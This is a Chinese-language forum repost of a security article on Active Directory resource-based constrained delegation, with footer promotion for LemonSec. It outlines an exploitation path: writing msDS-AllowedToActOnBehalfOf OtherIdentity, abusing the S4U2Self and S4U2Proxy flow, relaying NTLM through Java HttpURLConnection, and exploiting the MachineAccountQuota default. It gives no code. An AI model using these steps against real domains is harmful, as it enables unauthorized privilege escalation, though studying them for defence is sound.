资 源 约 束 委 派 ： 在 S e r v i c e B 的 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 中 配 置 了 对 S e r v i c e A 的 信 任 关 系 ， 定 义 了 从 S e r v i c e A 的 传 入 信 任 关 系 。 而 重 要 的 一 点 在 于 ， 资 源 本 身 可 以 为 自 己 配 置 资 源 委 派 信 任 关 系 ， 资 源 本 身 决 定 可 以 信 任 谁 ， 该 信 任 谁 。 过 程 解 析 ： 利 用 思 路 ： 1 . 我 们 拥 有 一 个 任 意 的 服 务 账 户 1   或 者 计 算 机 账 户 1 2 . 我 们 获 得 服 务 账 户 2   的 L D A P 权 限 3 . 配 置 服 务 1 对 服 务 2 的 约 束 委 派 （ 在 服 务 账 户 2 的 用 户 属 性 上 配 置 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 为 服 务 账 户 1 的 s i d ） 4 . 发 起 一 个 从 服 务 1 到 服 务 2 的 正 常 的 约 束 委 派 的 流 程 ， 从 而 访 问 服 务 2 。 一 个 重 要 的 案 例 ： （ a t e a m   这 是 一 篇 “ 不 一 样 ” 的 真 实 渗 透 测 试 案 例 分 析 文 章 ） 挺 强 的 原 理 ： s u n . n e t . w w w . p r o t o c o l . h t t p . H t t p U R L C o n n e c t i o n   发 送 H T T P 请 求 遇 到 状 态 码 为 4 0 1 的 H T T P 返 回 头 时 ， 会 判 断 该 页 面 要 求 使 用 哪 种 认 证 方 式 ， 若 攻 击 者 回 复 要 求 采 用 N T L M 认 证 则 会 自 动 使 用 当 前 用 户 凭 据 进 行 认 证 ， 抓 包 获 取 N T L M 认 证 请 求 。 注 意 的 点 ： 1 . 用 户 进 行 k e r b e r o r s 认 证 拿 到 了 T G T 2 . 然 后 用 户 向 s e r v e r 1 发 送 委 派 服 务 请 求 ， 服 务 1   代 表 用 户 申 请 一 个 获 得 针 对 服 务 1 自 身 的 k e r b e r o s 服 务 票 据 （ 这 一 步 就 就 和 传 统 的 s e l f 很 像 ， 但 也 有 区 别 ） ， 拿 到 了 不 可 以 转 发 的 访 问 服 务 1 的 T G S 。 3 . 服 务 1 可 以 使 用 来 自 用 户 的 授 权 (   在 S 4 U 2 S E L F 阶 段 获 得 的 不 可 转 发 的 T G S ) ， 然 后 用 该 T G S ( 放 在 A d d t i o n T i c k e t 里 面 ) 向 K D C 请 求 访 问 服 务 2 的 可 转 发 的 T G S
1 . s y s t e m 账 户 做 R e l a y 时 是 用 机 器 账 户 去 请 求 ， 但 是 我 们 不 知 道 机 器 账 户 的 密 码 或 者 h a s h ， 所 以 没 办 法 申 请 T G T 。 2 . 默 认 域 控 的 m s - D S - M a c h i n e A c c o u n t Q u o t a 属 性 设 置 允 许 所 有 域 用 户 向 一 个 域 添 加 多 达 1 0 个 计 算 机 帐 户 ， 就 是 说 只 要 有 一 个 域 凭 据 就 可 以 在 域 内 任 意 添 加 机 器 账 户 。 E N D 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理